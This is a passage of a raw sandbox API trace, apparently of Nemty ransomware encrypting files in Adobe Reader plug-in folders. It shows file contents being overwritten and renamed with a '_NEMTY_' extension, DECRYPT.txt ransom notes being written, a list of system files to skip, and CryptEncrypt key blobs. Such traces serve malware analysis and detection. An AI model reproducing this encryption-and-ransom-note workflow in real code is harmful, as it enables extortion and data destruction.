pszString="PJ6b0MUtd1jHes434oSi6jndivo/v29i1pjm13NHCNrWqaeXmhBssKia7SbIaUv2\r\nyi15T2VNVDUs3tY6sj8rtJwjgqBv3/NwcQ08DfFU/gcN9JWAJiEuAIMkVMAftCrr\r\ndhpN9sJLm1Ys3dcsxwQ5F2VTDu7rSUqzVxyprh7UnkhX929+s8OCSTiFRLKh9mRy\r\nZoStBolF/WJ2WRksrGHgybGKhtLOrwMR+uup2HMAlD8B3vtNU/wAnyJOPAfOENx7\r\nT6q1UN6JJM2v4d9BIGCnRVZ3wufR7UV4BgXikxlxQQFHndR5oEHVwrOx3WTOZG1Y\r\nYoFMrU/afqWDU+ns3/sdfA==\r\n", pcchString=0x653e91c) returned 1 [0186.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0186.809] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=519267) returned 1 [0186.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.809] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.809] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0186.819] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.819] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0186.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.819] SetFilePointer (in: hFile=0x254, lDistanceToMove=519267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec63 [0186.819] WriteFile (in: hFile=0x254, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0186.821] CloseHandle (hObject=0x254) returned 1 [0186.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0186.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0186.821] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api._nemty_kgobjgd_")) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.822] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2=".") returned 1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="..") returned 1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="...") returned 1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="windows") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="$RECYCLE.BIN") returned 1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="rsa") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="NTDETECT.COM") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="ntldr") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="MSDOS.SYS") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="IO.SYS") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="boot.ini") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="boot.ini") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="AUTOEXEC.BAT") returned -1 [0186.822] lstrcmpiW (lpString1="AcroForm", lpString2="ntuser.dat") returned -1 [0186.823] lstrcmpiW (lpString1="AcroForm", lpString2="desktop.ini") returned -1 [0186.823] lstrcmpiW (lpString1="AcroForm", lpString2="CONFIG.SYS") returned -1 [0186.823] lstrcmpiW (lpString1="AcroForm", lpString2="RECYCLER") returned -1 [0186.823] lstrcmpiW (lpString1="AcroForm", lpString2="BOOTSECT.BAK") returned -1 [0186.823] lstrcmpiW (lpString1="AcroForm", lpString2="bootmgr") returned -1 [0186.823] lstrcmpiW (lpString1="AcroForm", lpString2="programdata") returned -1 [0186.823] lstrcmpiW (lpString1="AcroForm", lpString2="appdata") returned -1 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroForm", lpUsedDefaultChar=0x0) returned 8 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroForm", lpUsedDefaultChar=0x0) returned 8 [0186.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.823] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0186.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.824] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.824] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0186.825] CloseHandle (hObject=0x254) returned 1 [0186.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0186.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.826] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.826] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0186.827] CloseHandle (hObject=0x254) returned 1 [0186.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.827] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x230097b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x230097b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0186.828] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0186.828] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x230097b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x230097b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.828] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0186.828] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0186.828] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2=".") returned 1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="..") returned 1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="...") returned 1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="windows") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="$RECYCLE.BIN") returned 1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="rsa") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="NTDETECT.COM") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="ntldr") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="MSDOS.SYS") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="IO.SYS") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="boot.ini") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="boot.ini") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="AUTOEXEC.BAT") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="ntuser.dat") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="desktop.ini") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="CONFIG.SYS") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="RECYCLER") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="BOOTSECT.BAK") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="bootmgr") returned -1 [0186.828] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="programdata") returned -1 [0186.829] lstrcmpiW (lpString1="adobepdf.xdc", lpString2="appdata") returned -1 [0186.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobepdf.xdc", lpUsedDefaultChar=0x0) returned 12 [0186.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobepdf.xdc", lpUsedDefaultChar=0x0) returned 12 [0186.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobepdf.xdc", lpUsedDefaultChar=0x0) returned 12 [0186.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobepdf.xdc", lpUsedDefaultChar=0x0) returned 12 [0186.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.829] Sleep (dwMilliseconds=0x5) [0186.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2302f910, dwHighDateTime=0x1d561e8)) [0186.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2302f910, dwHighDateTime=0x1d561e8)) [0186.839] GetLastError () returned 0xb7 [0186.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.839] GetLastError () returned 0xb7 [0186.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.839] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.839] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.840] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.840] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="p41bqnGiLMik+TdVrxXcz+d3FqepW6I95vV2SVcQ8r3THOKNnGuQ85m/jrxvv2WR\r\nU7sMq2oNKyBoM3PTzIQuFM2AO1Vbex5yEm9O3gjf6ai5niGjuKmJF/dbqwcQJVjx\r\nh6XjRxtZ26kL7xeEyK8BIrSdi7Cx3WONAUSz0tA9TVXdtoP9IQ6Ox5zTSQYKoqY/\r\njSTda9HZ+QnOxIrV+/6P838ek4ce7C+wWau6rv47r/1NIQFfRKQ71RqZnN6z/8YL\r\nhqKlCP6TTZIaMyTfzJgk4AON6shgijFtag5F2fMPR7LgXc+Skyoypespw1c1u0rb\r\nEKvqU+x7y51JuwQfox9XoA==\r\n", pcchString=0x653e5dc) returned 1 [0186.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\adobepdf.xdc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 